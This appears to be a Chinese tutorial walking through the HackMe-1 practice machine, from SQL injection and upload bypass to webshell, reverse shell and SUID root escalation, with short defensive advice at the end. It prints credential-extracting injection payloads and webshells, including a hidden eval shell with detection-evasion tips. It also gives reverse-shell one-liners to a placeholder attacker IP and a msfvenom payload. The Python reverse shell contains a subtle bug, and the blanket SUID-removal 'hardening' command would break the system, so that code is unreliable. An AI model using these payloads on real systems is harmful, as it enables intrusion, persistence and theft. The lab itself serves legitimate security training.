HackMe-1 靶机实战:SQL注入到文件上传的 3 步完整攻击链复现

📅 2026/7/8 20:36:09 👁️ 阅读次数 📝 编程学习
HackMe-1 靶机实战:SQL注入到文件上传的 3 步完整攻击链复现

HackMe-1 靶机实战:从SQL注入到文件上传的完整攻击链剖析

靶机环境与攻击路径总览

HackMe-1是VulnHub平台上专为渗透测试学习者设计的初级难度靶机,其核心价值在于完整呈现了Web应用中三个典型漏洞的串联利用过程。与真实企业环境中常见的漏洞组合模式高度一致,这个靶机模拟了以下攻击路径:

  1. SQL注入漏洞→ 获取管理员凭证
  2. 文件上传漏洞→ 部署Webshell
  3. 系统权限提升→ 获取root权限
graph TD A[信息收集] --> B[SQL注入获取凭证] B --> C[管理员后台登录] C --> D[文件上传漏洞利用] D --> E[反弹Shell建立] E --> F[本地提权操作]

1. 信息收集与漏洞定位

1.1 基础扫描技术组合

网络探测是渗透测试的第一步,使用以下命令组合可快速定位靶机:

arp-scan -l # 发现同一网段活跃主机 nmap -sV -p- 192.168.1.100 # 全端口扫描与服务识别

关键发现

  • 开放端口:80(HTTP)、22(SSH)
  • Web服务器:Apache 2.4.x
  • 操作系统:Linux(内核版本3.x-4.x)

1.2 目录与漏洞扫描进阶技巧

使用多种工具交叉验证扫描结果可提高准确性:

# 目录扫描 gobuster dir -u http://192.168.1.100 -w /usr/share/wordlists/dirb/common.txt -x php,html,txt # 漏洞扫描 nikto -h http://192.168.1.100 | tee nikto_scan.log

典型发现

  • /admin:后台登录入口
  • /uploads:文件上传目录
  • /search.php:存在注入点的搜索功能

2. SQL注入深度利用

2.1 注入点识别与验证

在图书搜索功能中发现字符型注入:

' AND 1=1-- - # 正常返回 ' AND 1=2-- - # 无结果返回 Windows' UNION SELECT 1,2,3-- - # 确认字段数

2.2 自动化注入工具实战

使用sqlmap进行高效数据提取:

sqlmap -u "http://192.168.1.100/search.php" --data="query=test" --risk=3 --level=5 --batch

关键参数说明

  • --dbs:枚举数据库
  • -D webapphacking --tables:获取指定数据库表
  • --os-shell:尝试获取系统shell

2.3 数据库信息提取流程

手工注入步骤示例:

1' UNION SELECT database(),2,3-- - # 获取当前数据库 1' UNION SELECT group_concat(table_name),2,3 FROM information_schema.tables WHERE table_schema='webapphacking'-- - # 获取所有表 1' UNION SELECT group_concat(column_name),2,3 FROM information_schema.columns WHERE table_name='users'-- - # 获取字段名 1' UNION SELECT group_concat(user,0x3a,password),2,3 FROM users-- - # 提取凭证数据

获取的关键凭证

用户名密码哈希(MD5)解密后密码
admine10adc3949ba59abbe56...123456
superadmin2e9f1b7a27b3a2f1e4e8...Uncrackable

3. 文件上传漏洞利用

3.1 绕过基础防护的三种方法

方法一:Content-Type绕过

  1. 制作包含PHP代码的图片文件
  2. Burp拦截修改Content-Type为image/jpeg

方法二:双扩展名绕过

mv shell.php shell.php.jpg

方法三:NULL字节截断

shell.php%00.jpg

3.2 实战上传Webshell

使用最简一句话木马:

<?php system($_GET['cmd']); ?>

上传验证流程

  1. 访问/uploads/shell.php?cmd=id
  2. 确认返回当前用户权限信息

3.3 高级持久化技术

隐蔽型Webshell示例

<?php $key = "secret123"; if(isset($_GET[$key])) { eval($_GET[$key]); } ?>

反检测技巧

  • 使用不常见函数替代eval
  • 添加合法文件头(如GIF89a)
  • 设置访问密码保护

4. 权限提升与系统控制

4.1 反弹Shell的四种方式

方法一:Bash反向连接

bash -i >& /dev/tcp/攻击机IP/4444 0>&1

方法二:Python脚本

import socket,subprocess,os s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect(("攻击机IP",4444)) os.dup2(s.fileno(),0); os.dup2(s.fileno,1); os.dup2(s.fileno(),2) p=subprocess.call(["/bin/bash","-i"])

方法三:PHP反向Shell

<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/攻击机IP/4444 0>&1'"); ?>

方法四:Metasploit生成

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=攻击机IP LPORT=4444 -f elf > shell.elf

4.2 本地提权技术实战

SUID提权检测

find / -perm -4000 -type f 2>/dev/null

发现的可利用程序

  • /usr/bin/find
  • /usr/bin/vim
  • /home/legacy/touchmenot

利用示例

/home/legacy/touchmenot # 直接执行获取root /usr/bin/find . -exec /bin/sh \; -quit # 通过find提权

5. 防御措施与最佳实践

5.1 SQL注入防护方案

代码层防护

// 使用预处理语句 $stmt = $pdo->prepare("SELECT * FROM books WHERE title LIKE ?"); $stmt->execute(["%".$input."%"]);

WAF规则示例

SecRule ARGS "@detectSQLi" "id:1001,deny,status:403"

5.2 文件上传安全控制

防御矩阵

防护层实施方法有效性
扩展名验证白名单机制(仅允许.jpg/.png)★★★☆☆
内容检测文件头校验+二次渲染★★★★☆
存储隔离上传目录禁止脚本执行★★★★★
随机化命名防止直接访问猜测★★☆☆☆

5.3 系统加固建议

Linux安全基线

# 限制SUID程序 find / -perm -4000 -exec chmod u-s {} \; # 配置sudo权限 visudo # 严格限制普通用户权限 # 定期审计 apt install auditd auditctl -a always,exit -F arch=b64 -S execve

6. 攻击链复现的实战价值

通过HackMe-1靶机的完整渗透过程,安全人员可以深入理解:

  1. 漏洞关联性:如何将独立漏洞串联形成完整攻击路径
  2. 权限维持:从Web应用到系统级的持久化技术
  3. 痕迹清理:操作日志的识别与清除方法
  4. 防御突破:针对常见防护措施的绕过思路

这种从外到内、由浅入深的渗透模式,正是企业真实环境中攻击者最常采用的攻击方法论。掌握此类靶机的攻防技术,能够有效提升对企业Web应用安全的整体防护能力。